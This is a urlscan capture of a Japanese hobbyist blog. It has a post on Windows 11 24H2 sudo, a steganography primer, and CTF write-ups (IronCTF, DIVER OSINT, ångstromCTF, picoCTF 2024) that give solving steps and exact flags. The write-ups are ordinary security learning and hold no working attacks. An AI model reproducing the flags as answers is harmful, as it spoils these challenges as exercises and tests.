h-takara.hatenablog.com Open in urlscan Pro
54.199.90.60  Public Scan

Submitted URL: http://h-takara.hatenablog.com/
Effective URL: https://h-takara.hatenablog.com/
Submission: On November 30 via api from US — Scanned from JP

Form analysis 1 forms found in the DOM

GET https://h-takara.hatenablog.com/search

<form class="search-form" role="search" action="https://h-takara.hatenablog.com/search" method="get">
  <input type="text" name="q" class="search-module-input" value="" placeholder="記事を検索" required="">
  <input type="submit" value="検索" class="search-module-button">
</form>

Text Content

h_takara’s blog
読者になる


H_TAKARA’S BLOG

2024-10-13


WINDOWS24H2でSUDOが使えるようになった話


WINDOWS24H2でSUDOが使えるようになった話

sudoの話から,Windowsでsudoが使えるようになった事に対する個人的な意見を書こうかなと..



その前に...


WINDOWS11 24H2について

Windows11からは,1年に1度の機能更新プログラムがきます.そして2024年10月1日に24H2がリリースされている.
Windows Updateでは,段階的にロールアウトし始め,ロールアウト対象になれば,設定のWindows Updateから「Windows11
24H2」が利用できます.

※注意点
Windows
Updateで「24H2への更新」が来ていない時に,MicrosoftのWebサイトからisoファイルをとってきてUpdateするのはおすすめしません.
理由としては,まだリリースして時間がたっておらず,どんな不具合があるかも明らかになっていないからです.聞いた話によると,今年の7月に発生した"ブルースクリーン"になる恐れがあるとかなんとか.

Microsoft Windows11、バージョン24H2の更新履歴


本題


SUDOコマンドって?

sudoコマンドは,一般ユーザーに対してコマンド実行の単位でroot権限を与える仕組みのこと.
たとえば,以下のようにhoge(私)が「b」のファイルを操作する場合はroot権限がいることが分かります.そういう時は,コマンドの先頭にsudoをつける.(例:sudo
vim b)
ファイルを他人と共有したいけど...って時に一時的に管理者権限を与えることで,誤って操作した際にシステム全体への影響を減らすことができる.

$ ls -l
total 5
-rw-r----- 19 hoge   hoge    4096 Oct 13 21:02 a
-rw-r-----  3 root   root    4096 Dec 15  2023 b
-rw-------  1 hoge   hoge    7625 Dec 17  2023 c
-rw-r--r--  1 hoge   hoge     220 Dec 15  2023 d
-rw-r--r--  1 hoge   hoge    3938 Oct 12 23:55 e


WINDOWSのSUDOコマンド

今回の24H2へのアップデートでWindowsのターミナル上でsudoが使えるようになった.
これまで,sudoコマンドの利用はLinux系のOSがメインだったが,Windowsにも搭載されて少し驚いた.というより遅くないかと思った
今まで,Win+Xキーのメニューからの操作やOSSのgsudoの導入が必要であった. その手間を省けたのは非常に大きい.

OPTIONの違い

Windowsのターミナル(cmd,powershell)とWSL2でのオプションの比較

cmd,powershell

$ sudo -h
sudo for Windows

Usage: sudo.exe [OPTIONS] [COMMANDLINE]... [COMMAND]

Commands:
  run     管理者としてコマンドを実行する
  config  sudo の現在の構成情報を取得する
  help    Print this message or the help of the given subcommand(s)

Arguments:
  [COMMANDLINE]...  実行するコマンドライン

Options:
  -E, --preserve-env   現在の環境変数をコマンドに渡す
  -N, --new-window     コマンドに新しいウィンドウを使用する
      --disable-input  ターゲット アプリケーションへの入力を無効にした状態で現在のターミナルで実行します
      --inline         現在のターミナルで実行する
  -D, --chdir <chdir>  コマンドを実行する前に作業ディレクトリを変更してくだ さい
  -h, --help           印刷のヘルプ ("--help" で詳細を表示)
  -V, --version        印刷のバージョン

WSL2

$ sudo -h
sudo - execute a command as another user

usage: sudo -h | -K | -k | -V
usage: sudo -v [-ABknS] [-g group] [-h host] [-p prompt] [-u user]
usage: sudo -l [-ABknS] [-g group] [-h host] [-p prompt] [-U user] [-u user] [command]
usage: sudo [-ABbEHknPS] [-r role] [-t type] [-C num] [-D directory] [-g group] [-h host] [-p prompt] [-R directory]
            [-T timeout] [-u user] [VAR=value] [-i|-s] [<command>]
usage: sudo -e [-ABknS] [-r role] [-t type] [-C num] [-D directory] [-g group] [-h host] [-p prompt] [-R directory] [-T
            timeout] [-u user] file ...

Options:
  -A, --askpass                 use a helper program for password prompting
  -b, --background              run command in the background
  -B, --bell                    ring bell when prompting
  -C, --close-from=num          close all file descriptors >= num
  -D, --chdir=directory         change the working directory before running command
  -E, --preserve-env            preserve user environment when running command
      --preserve-env=list       preserve specific environment variables
  -e, --edit                    edit files instead of running a command
  -g, --group=group             run command as the specified group name or ID
  -H, --set-home                set HOME variable to target user's home dir
  -h, --help                    display help message and exit
  -h, --host=host               run command on host (if supported by plugin)
  -i, --login                   run login shell as the target user; a command may also be specified
  -K, --remove-timestamp        remove timestamp file completely
  -k, --reset-timestamp         invalidate timestamp file
  -l, --list                    list user's privileges or check a specific command; use twice for longer format
  -n, --non-interactive         non-interactive mode, no prompts are used
  -P, --preserve-groups         preserve group vector instead of setting to target's
  -p, --prompt=prompt           use the specified password prompt
  -R, --chroot=directory        change the root directory before running command
  -r, --role=role               create SELinux security context with specified role
  -S, --stdin                   read password from standard input
  -s, --shell                   run shell as the target user; a command may also be specified
  -t, --type=type               create SELinux security context with specified type
  -T, --command-timeout=timeout terminate command after the specified time limit
  -U, --other-user=user         in list mode, display privileges for user
  -u, --user=user               run command (or edit file) as specified user name or ID
  -V, --version                 display version information and exit
  -v, --validate                update user's timestamp without running a command
  --                            stop processing command line arguments

これからオプションの数とか増えていくのかな,どうなんだろう.


まとめ

私自身,Windows上でsudoを使う意義を見いだせていない. Linuxではたくさん使うが,Windowsで使うことは想像しづらい.(WSLは使う)


なので,いろんな方の意見などを収集して追記していきたい.

h_takara 47日前 読者になる




広告を非表示にする

 * もっと読む

コメントを書く
2024-10-10


FORENSICS(STEGANOGRAPHYについて)


ステガノグラフィ(STEGANOGRAPHY)

ステガノグラフィとは,情報隠蔽(英語版)技術の一つであり,情報を他の情報に埋め込む技術のこと,あるいはその研究を指す.(Wikipedia)

一見,なにも違和感はないが実は...みたいな感じで,
画像,動画,音声,テキストなどに隠すことが多い

よく似た技術:電子透かし
→ディジタルデータの著作権保護が目的

つよつよサイト:うさみみハリケーン→ステガノグラフィーの解析について

CTFだとフォレンジック(Forensics)やその他(Misc)の分野でよく出題される.
フォレンジックおすすめサイト→Forensics入門(CTF) - Qiita


よく使うコマンドたち


FILEコマンド

ファイルのフォーマットがわかる (picoCTF 2024 Secret_of_the_Polyglot)

$ file flag2of2-final.pdf
flag2of2-final.pdf: PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced

ファイルフォーマットが違う.
pngファイルにリネームしてあげるとフラグが見える.


EXIFTOOLコマンド

画像に埋め込まれた情報が見える 時には,画像が撮影された日付や場所まで正確に特定できる

$ exiftool flag2of2-final.png
ExifTool Version Number         : 12.40
File Name                       : flag2of2-final.png
Directory                       : .
File Size                       : 3.3 KiB
File Modification Date/Time     : 2024:02:08 02:50:37+09:00
File Access Date/Time           : 2024:10:10 21:24:54+09:00
File Inode Change Date/Time     : 2024:03:13 20:23:06+09:00
File Permissions                : -rwxrwxrwx
File Type                       : PNG
File Type Extension             : png
MIME Type                       : image/png
Image Width                     : 50
Image Height                    : 50
Bit Depth                       : 8
Color Type                      : RGB with Alpha
Compression                     : Deflate/Inflate
Filter                          : Adaptive
Interlace                       : Noninterlaced
Profile Name                    : ICC profile
Profile CMM Type                : Little CMS
Profile Version                 : 4.3.0
Profile Class                   : Display Device Profile
Color Space Data                : RGB
Profile Connection Space        : XYZ
Profile Date Time               : 2023:11:02 17:42:31
Profile File Signature          : acsp
Primary Platform                : Apple Computer Inc.
CMM Flags                       : Not Embedded, Independent
Device Manufacturer             :
Device Model                    :
Device Attributes               : Reflective, Glossy, Positive, Color
Rendering Intent                : Perceptual
Connection Space Illuminant     : 0.9642 1 0.82491
Profile Creator                 : Little CMS
Profile ID                      : 0
Profile Description             : GIMP built-in sRGB
Profile Copyright               : Public Domain
Media White Point               : 0.9642 1 0.82491
Chromatic Adaptation            : 1.04788 0.02292 -0.05022 0.02959 0.99048 -0.01707 -0.00925 0.01508 0.75168
Red Matrix Column               : 0.43604 0.22249 0.01392
Blue Matrix Column              : 0.14305 0.06061 0.71393
Green Matrix Column             : 0.38512 0.7169 0.09706
Red Tone Reproduction Curve     : (Binary data 32 bytes, use -b option to extract)
Green Tone Reproduction Curve   : (Binary data 32 bytes, use -b option to extract)
Blue Tone Reproduction Curve    : (Binary data 32 bytes, use -b option to extract)
Chromaticity Channels           : 3
Chromaticity Colorant           : Unknown (0)
Chromaticity Channel 1          : 0.64 0.33002
Chromaticity Channel 2          : 0.3 0.60001
Chromaticity Channel 3          : 0.15001 0.06
Device Mfg Desc                 : GIMP
Device Model Desc               : sRGB
Pixels Per Unit X               : 11811
Pixels Per Unit Y               : 11811
Pixel Units                     : meters
Modify Date                     : 2023:11:02 17:57:06
Comment                         : Created with GIMP
Warning                         : [minor] Trailer data after PNG IEND chunk
Image Size                      : 50x50
Megapixels                      : 0.003

他にもあるけが,だいたいQiitaのサイト見ながらやってる感じ


よく使うツールたち

 * CyberChef
 * HexEd.it
 * 青空白猫


最後に

他にもCTFのWriteup書いてたりするので読んでみてください!!

h_takara 50日前 読者になる




広告を非表示にする


 * HoriK (id:HoriK)
   
   ここも良いですよ.よく使ってる.
   https://0xrick.github.io/lists/stego/
   
   50日前

 * もっと読む

コメントを書く
2024-10-07


IRON CTF 2024 WRITEUP(CRYPTO/RANDOM PIXELS)


Q : MY IMAGE ACCIDENTLY FELL INTO A PIXEL MIXER CAN YOU HELP ME RECOVER IT?

A zip file is given, containing a python program (enc.py) to encode the image
and the image (encrypted.png).
So, we can decode the images.

ENC.PY

import random, time, numpy
from PIL import Image
from secret import FLAG

def randomize(img, seed):
    random.seed(seed)
    new_y = list(range(img.shape[0]))
    new_x = list(range(img.shape[1]))
    random.shuffle(new_y)
    random.shuffle(new_x)

    new = numpy.empty_like(img)
    for i, y in enumerate(new_y):
        for j, x in enumerate(new_x):
            new[i][j] = img[y][x]
    return numpy.array(new)


if __name__ == "__main__":
    with Image.open(FLAG) as f:
        img = numpy.array(f)
        out = randomize(img, int(time.time()))
        image = Image.fromarray(out)
        image.save("encrypted.png")


Looking at enc.py, it seems that seed (timestamp) is required for decoding, so
use exiftool to obtain it.

ENCRYPTED.PNG



$ exiftool encrypted.png
ExifTool Version Number         : 12.76
File Name                       : encrypted.png
Directory                       : .
File Size                       : 22 kB
File Modification Date/Time     : 2024:10:07 09:58:36+09:00
File Access Date/Time           : 2024:10:07 09:59:07+09:00
File Inode Change Date/Time     : 2024:10:07 09:58:36+09:00
File Permissions                : -rwxrwxrwx
File Type                       : PNG
File Type Extension             : png
MIME Type                       : image/png
Image Width                     : 300
Image Height                    : 300
Bit Depth                       : 8
Color Type                      : RGB with Alpha
Compression                     : Deflate/Inflate
Filter                          : Adaptive
Interlace                       : Noninterlaced
Image Size                      : 300x300
Megapixels                      : 0.090

DECRYPTED.PY

import random, numpy
from PIL import Image
from datetime import datetime

def derandomize(img, seed):
    random.seed(seed)
    new_y = list(range(img.shape[0]))
    new_x = list(range(img.shape[1]))
    random.shuffle(new_y)
    random.shuffle(new_x)

    original = numpy.empty_like(img)
    for i, y in enumerate(new_y):
        for j, x in enumerate(new_x):
            original[y][x] = img[i][j]
    return original

if __name__ == "__main__":
    date_str = '2024-10-03T06:02:40+0900'
    dt = datetime.strptime(date_str, '%Y-%m-%dT%H:%M:%S%z')
    seed = int(dt.timestamp())
    with Image.open("encrypted.png") as f:
        img = numpy.array(f)
        original_img = derandomize(img, seed)
        image = Image.fromarray(original_img)
        image.save("decrypted.png")
        print("Image successfully decrypted and saved as decrypted.png")


DECRYPTED.PNG



$ zbarimg decrypted.png
QR-Code:ironCTF{p53ud0_r4nd0m_f0r_4_r3450n}
scanned 1 barcode symbols from 1 images in 0.01 seconds

FLAG:ironCTF{p53ud0_r4nd0m_f0r_4_r3450n}

h_takara 54日前 読者になる




広告を非表示にする

 * もっと読む

コメントを書く
2024-06-14


DIVER OSINT CTF 2024


DIVER OSINT CTF WRITEUP

結果は、1,178ptで453チーム中115位でした。 チーム登録だけど、一人で参加しました。




MISC


NUMBER

この車両の持ち主に連絡を取りたい。電話番号を調べてもらえないだろうか。
Flag形式: Diver24{0123456789}
注意: 実際に電話を掛けてはならない。



ナンバープレートを拡大していってみると「外-4906」と書いてある。

調べてみると、外交官用の専用車両だった。

数字の先頭2字が国名を表しているらしい。

https://warmheart0159.hatenablog.com/entry/2017/06/06/162406

クウェートらしいのでクウェートの日本大使館の連絡先を書いてあげる

https://www.kuwait-embassy.or.jp/

DiverCTF{0334550361}


MILITARY


OSPREY1

2023年11月29日、アメリカ軍のオスプレイ(V-22)が日本の屋久島沖で墜落した。この機体の番号と、墜落時のコールサインは何か。
Flag形式: Diver24{XX-XXXX_CALLSIGN}
たとえば機体登録番号が01-2345、コールサインがCALL01の場合、Flagは Diver24{01-2345_CALL01} となる。

検索していったら、Xに書いてあった(ドメインは相変わらずtwitter.comやなww)
https://twitter.com/oldconnie/status/1730027810469941508

回答の制限回数が無かったので試していくとビンゴ

Diver24{12-0065_GUNDAM22}


INTRODUCTION


OFFICE

ファイルから得られるFlagを入力してください。

https://drive.google.com/file/d/1VOZPbwYzoynoNCW3SR5_cHRvPiXUx9lI/view?usp=drive_link

ファイルをダウンロードして、fileコマンドで見てみると

$ file mudai.odt
mudai.odt: Zip archive data, at least v2.0 to extract, compression method=deflate

zipファイルでしたと。 解凍してpngファイル見てみると、、ビンゴ!

Diver24{World Ocean Day}


DREAM

画像に写っているパイプオルガンがある施設の郵便番号を答えなさい。
Flag形式: Diver24{123-4567}



Google Lensに突っ込んだらあった!

Diver24{574-0046}


SERIAL

これらの動画の背景に映っている航空機のシリアル番号は何か? シリアル番号が123456の場合、Flagは Diver24{123456} となる。
https://www.tiktok.com/@ana_allnipponairways/video/7318648417620741377
https://www.tiktok.com/@ana_allnipponairways/video/7338422699301145857

動画に映っている「ANA JA222A」で検索かけたらすぐ出る

Diver24{9580}


GEO


IMAGETRACK

画像の撮影された郷土料理屋の店名を答えよ。
Flag形式: Diver24{店名}



画像渡されるから、exiftool使う。

$ exiftool DSC_8886.JPG
ExifTool Version Number         : 12.76
File Name                       : DSC_8886.JPG
Directory                       : .
File Size                       : 1805 kB
File Modification Date/Time     : 2024:06:08 13:59:09+09:00
File Access Date/Time           : 2024:06:14 21:13:15+09:00
File Inode Change Date/Time     : 2024:06:08 14:00:00+09:00
File Permissions                : -rwxrwxrwx
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
Exif Byte Order                 : Big-endian (Motorola, MM)
X Resolution                    : 72
Y Resolution                    : 72
Resolution Unit                 : inches
Y Cb Cr Positioning             : Centered
GPS Version ID                  : 2.3.0.0
GPS Latitude                    : 34 deg 41' 41.22"
GPS Longitude                   : 135 deg 11' 35.58"
Image Width                     : 4032
Image Height                    : 2268
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 4032x2268
Megapixels                      : 9.1
GPS Position                    : 34 deg 41' 41.22", 135 deg 11' 35.58"

「34 deg 41' 41.22", 135 deg 11' 35.58"」をGoogle Mapに突っ込む ※degは切り取る

答え→GoogleMap

Diver24{郷土料理 からす}


CHIBAN

画像の中央に写っている道路の地番は何か。
たとえば住所が 仙台市宮城野区二十人町 303-8 の場合、Flagは Diver24{303-8} となる。
また、地番には数字だけでなく漢字が含まれることもある。その場合は漢字表記のまま解答せよ。



根気強く探したら「サンディ(双葉店)」だった。

地番検索くんで検索して地番をフラグすればいい

地番検索くん:https://chiban-kensaku.com/



Diver24{筆界未定地-6}


LEAK

先月、日本の会社で大規模なBTCの不正流出が起きた。
流出先となっているウォレットアドレスを答えよ。
Flag形式: Diver24{ウォレットアドレス}

困ったときはXで検索するwww

やっぱりあったwww → Jo∞ |フリミンするならmooon|

Diver24{1B6rJRfjTXwEy36SCs5zofGMmdv2kdZw7P}


PROMOTER

画像に写っている池沼を開拓した発起人の父親の命日を答えよ。
Flag形式: Diver24{yyyy/MM/dd}



Google Lensで検索したら、愛知県の「明治村」ってところにたどり着いた。

博物館明治村:https://www.meijimura.com/area/

そこから池の名前が「入鹿池」が分かる。

入鹿池の歴史っぽいのが書いてあったので見てみたらビンゴ

https://www.jstage.jst.go.jp/article/jjsidre1965/49/7/49_7_630/_pdf

池を作った人:江崎善左衛門 父親:江崎善左衛門 宗度

Diver24{1627/11/13}

#CTF #OSINT

h_takara 168日前 読者になる




広告を非表示にする

 * もっと読む

コメントを書く
2024-06-09


ANGSTROMCTF 2024 WRITEUP


ANGSTROMCTF 2024 WRITEUP




WEB


SPINNER

https://spinner.web.actf.co/


www.youtube.com

こういう感じで、くるくる回すページに飛ぶ。 とりあえずいつも通りソースコード見てみる。

if (state.total >= 10_000 * 360) {
            state.flagged = true
            const response = await fetch('/falg', { method: 'POST' })
            element.textContent = await response.text()
        }

怪しいところがあった。 「/flag」と「POST」がキーポイント!

$ curl -X POST https://spinner.web.actf.co/falg
actf{b152d497db04fcb1fdf6f3bb64522d5e}

actf{b152d497db04fcb1fdf6f3bb64522d5e}


MISC


PUTNAM



$ nc challs.actf.co 31337
514 + 97 = ?
611
You succeeded! The flag is actf{just_a_tad_easier_than_the_actual_putnam} :D

actf{just_a_tad_easier_than_the_actual_putnam}


TRIP



写真を撮ったのはどこの道路か、という問題。 「exiftool」で見てみる

$ exiftool trip.jpeg
Create Date                     : 2024:04:18 05:54:34.337-04:00
Date/Time Original              : 2024:04:18 05:54:34.337-04:00
Modify Date                     : 2024:04:18 05:54:34-04:00
GPS Altitude                    : 1 m Above Sea Level
GPS Date/Time                   : 2024:04:18 09:54:33.79Z
GPS Latitude                    : 37 deg 56' 23.60" N
GPS Longitude                   : 75 deg 26' 17.11" W
Circle Of Confusion             : 0.008 mm
Field Of View                   : 73.7 deg
Focal Length                    : 6.8 mm (35 mm equivalent: 24.0 mm)
GPS Position                    : 37 deg 56' 23.60" N, 75 deg 26' 17.11" W

ビンゴ!

GPS Position : 37 deg 56' 23.60" N, 75 deg 26' 17.11" W

これをGoogleMapで探すと、、、 GoogleMap

actf{chincoteague}


CRYPTO


ERM WHAT THE ENIGMA



brht{d_imhw_cexhrmwyy_lbvkvqcf_ldcz}

https://cryptii.com/pipes/enigma-machine

エニグマでエンコードする

問題文の指示通りにセットしていけば大丈夫だった。



actf{i_love_enigmatic_machines_mwah}

h_takara 173日前 読者になる




広告を非表示にする

 * もっと読む

コメントを書く
2024-05-04


はじめてのMARKDOWN


はじめてのMARKDOWN

「見たまま」で書くのが早いが、Markdownに挑戦してみることにした。


練習


強調

Markdown→Markdown


打消し線

Markdown


折り畳み



PythonでHello World!を出力する



print("Hello World!")





参考サイト:Markdown記法 チートシート

h_takara 210日前 読者になる




広告を非表示にする

 * もっと読む

コメントを書く
2024-03-27


PICOCTF2024 WRITEUP

開催期間:2024/3/13 1:00am ~ 2024/3/27 4:00am

自分で説いた問題だけ。

 * Web
   * WebDecode(50pt)
   * Unminify(100pt)
 * Cryptgraphy
   * interencode(50pt)
 * Forensics
   * Scan Surprise(50pt)
   * Verify(50pt)
   * CanYouSee(100pt)
   * Secret of the Polyglot(100pt)
 * General Skills
   * Time Machine(50pt)
   * Blame Game(75pt)
   * Collaborative Development(75pt)
   * binhexa(100pt)
   * Binary Search(100pt)
   * endianness(200pt)
 * Binary Exploitation
   * format string 0(50pt)
   * heap 0(50pt)

WEB

WEBDECODE(50PT)

> Do you know how to use the web inspector?
> Start searching here to find the flag

リンク飛んでみると、

「HOME」「ABOUT」「CONTACT」がある。

それぞれのソースコードを見ていくと「ABOUT」のソースコードに怪しげな文字列がある。

cGljb0NURnt3ZWJfc3VjYzNzc2Z1bGx5X2QzYzBkZWRfMTBmOTM3NmZ9

CyberChefでデコードしてみるとbase64でフラグが得られた。



picoCTF{web_succ3ssfully_d3c0ded_10f9376f}

UNMINIFY(100PT)

> I don't like scrolling down to read the code of my website, so I've squished
> it. As a bonus, my pages load faster!
> Browse here, and find the flag!

とりあえずリンク飛んでみる。

ソースコード見ても怪しそうなものはない。

「curlコマンドでリクエスト送ってみるか」と思いやったところビンゴ。



picoCTF{pr3tty_c0d3_ed938a7e}

 

CRYPTGRAPHY

INTERENCODE(50PT)

> Can you get the real meaning from this file.
> Download the file here.

ダウンロードファイルの中身見てみる。

YidkM0JxZGtwQlRYdHFhR3g2YUhsZmF6TnFlVGwzWVROclh6YzRNalV3YUcxcWZRPT0nCg==

末尾に「==」があるからいったんbase64でデコードしてみる。

$cat a.py
import base64
encoded_string = "YidkM0JxZGtwQlRYdHFhR3g2YUhsZmF6TnFlVGwzWVROclh6YzRNalV3YUcxcWZRPT0nCg=="
decoded_bytes = base64.b64decode(encoded_string)
decoded_string = decoded_bytes.decode('utf-8')
print(decoded_string)
    
$python3 a.py
b'd3BqdkpBTXtqaGx6aHlfazNqeTl3YTNrXzc4MjUwaG1qfQ=='

Pythonのバイト文字列が得られたのでもう1回デコード

$cat b.py
import base64
encoded_string = b'd3BqdkpBTXtqaGx6aHlfazNqeTl3YTNrXzc4MjUwaG1qfQ=='
decoded_string = base64.b64decode(encoded_string).decode('utf-8')
print(decoded_string)

$python3 b.py
wpjvJAM{jhlzhy_k3jy9wa3k_78250hmj}

ここまでこればROTで合わせれば出るでしょう。



ROT19でフラグ見えた。

picoCTF{caesar_d3cr9pt3d_78250afc}

 

FORENSICS

SCAN SURPRISE(50PT)

> I've gotten bored of handing out flags as text. Wouldn't it be cool if they
> were an image instead?
> You can download the challenge files here:
> challenge.zip

launchしたらsshのコマンドが見えるようになるけど、

zipファイルを解凍してみるとQRコードがあるのでそれを読み込んでみるとフラグがでてくる。

picoCTF{p33k_@_b00_b5ce2572}

VERIFY(50PT)

> People keep trying to trick my players with imitation flags. I want to make
> sure they get the real thing! I'm going to provide the SHA-256 hash and a
> decrypt script to help you know that my flags are legitimate.
> You can download the challenge files here:
> challenge.zip
> The same files are accessible via SSH here:
> ssh -p 64446 ctf-player@rhea.picoctf.net
> Using the password 1ad5be0d. Accept the fingerprint with yes, and ls once
> connected to begin. Remember, in a shell, passwords are hidden!
> Checksum: 5848768e56185707f76c1d74f34f4e03fb0573ecc1ca7b11238007226654bcda
> To decrypt the file once you've verified the hash, run ./decrypt.sh
> files/<file>.

launchしてsshで接続してみる。

files以下にtextファイルがたくさんある。

sha256で復号してみてChecksumと同じ文字列を探す。

$sha256sum files/* | grep 5848768e56185707f76c1d74f34f4e03fb0573ecc1ca7b11238007226654bcda
5848768e56185707f76c1d74f34f4e03fb0573ecc1ca7b11238007226654bcda  files/8eee7195

「8eee7195」と一致したのでシェルスクリプトを実行。

$./decrypt.sh files/8eee7195
picoCTF{trust_but_verify_8eee7195}


picoCTF{trust_but_verify_8eee7195}

 

CANYOUSEE(100PT)

> How about some hide and seek?
> Download this file here.

zipファイル解凍したらjpgが出てくる

写真見ても何もわからない

qiita.com

こういう時にこのサイト見てForensics解けばほぼできる。(笑)

1番最初にexiftoolでjpg見てみる。

$exiftool ukn_reality.jpg
ExifTool Version Number         : 12.40
File Name                       : ukn_reality.jpg
Directory                       : .
File Size                       : 2.2 MiB
File Modification Date/Time     : 2024:02:16 07:40:17+09:00
File Access Date/Time           : 2024:03:23 00:03:48+09:00
File Inode Change Date/Time     : 2024:03:13 18:59:09+09:00
File Permissions                : -rwxrwxrwx
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Resolution Unit                 : inches
X Resolution                    : 72
Y Resolution                    : 72
XMP Toolkit                     : Image::ExifTool 11.88
Attribution URL                 : cGljb0NURntNRTc0RDQ3QV9ISUREM05fNGRhYmRkY2J9Cg==
Image Width                     : 4308
Image Height                    : 2875
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 4308x2875
Megapixels                      : 12.4


怪しい文字列発見

cGljb0NURntNRTc0RDQ3QV9ISUREM05fNGRhYmRkY2J9Cg==

base64でデコードしてみるとゲット



picoCTF{ME74D47A_HIDD3N_4dabddcb}

 

SECRET OF THE POLYGLOT(100PT)

> The Network Operations Center (NOC) of your local institution picked up a
> suspicious file, they're getting conflicting information on what type of file
> it is. They've brought you in as an external expert to examine the file. Can
> you extract all the information from this strange file?
> Download the suspicious file here.

pdfとpngファイルがあるので開いてみる。

flag2of2-final.pngにはフラグの前半部分が書いてある。

flag2of2-final.pdfにはフラグの後半部分が書いてある。

※pdfファイルはadobeなどのツールだと開けないのでChromeかEgdeで開くとフラグが見れる。

合体すると

picoctf{f1u3n7_1n_pn9_&_pdf_249d05c0}

 

GENERAL SKILLS

TIME MACHINE(50PT)

> What was I last working on? I remember writing a note to help me remember...
> You can download the challenge files here:
> challenge.zip

とりあえずzipファイル解凍してみると

$cat message.txt
This is what I was working on, but I'd need to look at my commit history to know why...

見えなかった。

ヒント見ると、

https://primer.picoctf.org/#_git_version_control

にgitコマンドがいろいろ書いてある。

$git log
commit b92bdd8ec87a21ba45e77bd9bed3e4893faafd0f (HEAD -> master)
Author: picoCTF <ops@picoctf.com>
Date:   Sat Mar 9 21:10:29 2024 +0000

    picoCTF{t1m3m@ch1n3_5cde9075}

「git log」で見えた。

picoCTF{t1m3m@ch1n3_5cde9075}



BLAME GAME(75PT)

> Someone's commits seems to be preventing the program from working. Who is it?
> You can download the challenge files here:
> challenge.zip

zipファイル解凍していろいろやってみたが、わからなかったのでヒント見てみた。

前問と同じようにgit logコマンドを打ってみるが、引数に「message.py」を指定するとフラグが見える。

$git log message.py
commit fadeca9476b6713ec8cdda633aca9e9aebffc698
Author: picoCTF{@sk_th3_1nt3rn_e9957ce1} <ops@picoctf.com>
Date:   Sat Mar 9 21:09:11 2024 +0000

    optimize file size of prod code

commit 2dd46769e2d65656bb14aed0ff5d3237daaa7d9d
Author: picoCTF <ops@picoctf.com>
Date:   Sat Mar 9 21:09:11 2024 +0000

    create top secret project

picoCTF{@sk_th3_1nt3rn_e9957ce1}



COLLABORATIVE DEVELOPMENT(75PT)

> My team has been working very hard on new features for our flag printing
> program! I wonder how they'll work together?
> You can download the challenge files here:
> challenge.zip

zipファイル解凍してみて、pythonファイル見てみると

print("Printing the flag...")

つまり、何らかの操作をしたらここにフラグが書き込まれるっぽい。

ヒント見てみると、git branchしてブランチの中身をmainブランチにマージしてフラグを得るという方向性が定まった。

$git branch -a
  feature/part-1
  feature/part-2
  feature/part-3
* main
$git checkout main
$git merge feature/part-1
Merge made by the 'ort' strategy.
 flag.py | 1 +
 1 file changed, 1 insertion(+)
$cat flag.py
print("Printing the flag...")
print("picoCTF{t3@mw0rk_", end='')

feature/part-2,3も同様にやっていけばいい。

※注意点として1つのブランチをマージした後はコミットすること。

$cat flag.py
print("Printing the flag...")
<<<<<<< HEAD
<<<<<<< HEAD
print("picoCTF{t3@mw0rk_", end='')
=======

print("m@k3s_th3_dr3@m_", end='')
>>>>>>> feature/part-2
=======

print("w0rk_7ffa0077}")
>>>>>>> feature/part-3

picoCTF{t3@mw0rk_m@k3s_th3_dr3@m_w0rk_7ffa0077}


BINHEXA(100PT)

> nc titan.picoctf.net 50971

とりあえずncでアクセスしてみる。

$nc titan.picoctf.net 50971

Welcome to the Binary Challenge!"
Your task is to perform the unique operations in the given order and find the final result in hexadecimal that yields the flag.

Binary Number 1: 10100001
Binary Number 2: 10110011

6つの質問に全て正解するとフラグが得られるらしい

Question 1/6:
Operation 1: '&'
Perform the operation on Binary Number 1&2.
Enter the binary result: 10100001
Correct!

Question 2/6:
Operation 2: '>>'
Perform a right shift of Binary Number 2 by 1 bits .
Enter the binary result: 01011001
Correct!

Question 3/6:
Operation 3: '+'
Perform the operation on Binary Number 1&2.
Enter the binary result: 101010100
Correct!

Question 4/6:
Operation 4: '|'
Perform the operation on Binary Number 1&2.
Enter the binary result: 10110011
Correct!

Question 5/6:
Operation 5: '<<'
Perform a left shift of Binary Number 1 by 1 bits.

Enter the binary result: 101000010
Correct!

Question 6/6:
Operation 6: '*'
Perform the operation on Binary Number 1&2.
Enter the binary result: 111000010010011
Correct!

Incorrect answer!

Enter the results of the last operation in hexadecimal: 7093

Correct answer!
The flag is: picoCTF{b1tw^3se_0p3eR@tI0n_su33essFuL_6ab1ad84}

picoCTF{b1tw^3se_0p3eR@tI0n_su33essFuL_6ab1ad84}

※再びアクセスしてみるとBinaryNumberや問題の順番が変わってたりするのでご自身で解いてみてください!

BINARY SEARCH(100PT)

> Want to play a game? As you use more of the shell, you might be interested in
> how they work! Binary search is a classic algorithm used to quickly find an
> item in a sorted list. Can you find the flag? You'll have 1000 possibilities
> and only 10 guesses.
> Cyber security often has a huge amount of data to look through - from logs,
> vulnerability reports, and forensics. Practicing the fundamentals manually
> might help you in the future when you have to write your own tools!
> You can download the challenge files here:
> challenge.zip
> Additional details will be available after launching your challenge instance.

launchしてsshでアクセスしてみる。

問題文にもあるように10回の探索で(おそらく)0~1000までの数を当てるとフラグが得られる。

$ssh -p 63620 ctf-player@atlas.picoctf.net
The authenticity of host '[atlas.picoctf.net]:63620 ([18.217.83.136]:63620)' can't be established.
ED25519 key fingerprint is SHA256:M8hXanE8l/Yzfs8iuxNsuFL4vCzCKEIlM/3hpO13tfQ.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:4: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[atlas.picoctf.net]:63620' (ED25519) to the list of known hosts.
ctf-player@atlas.picoctf.net's password:
Welcome to the Binary Search Game!
I'm thinking of a number between 1 and 1000.
Enter your guess: 500
Lower! Try again.
Enter your guess: 250
Lower! Try again.
Enter your guess: 125
Lower! Try again.
Enter your guess: 70
Higher! Try again.
Enter your guess: 90
Lower! Try again.
Enter your guess: 80
Congratulations! You guessed the correct number: 80
Here's your flag: picoCTF{g00d_gu355_3af33d18}
Connection to atlas.picoctf.net closed.

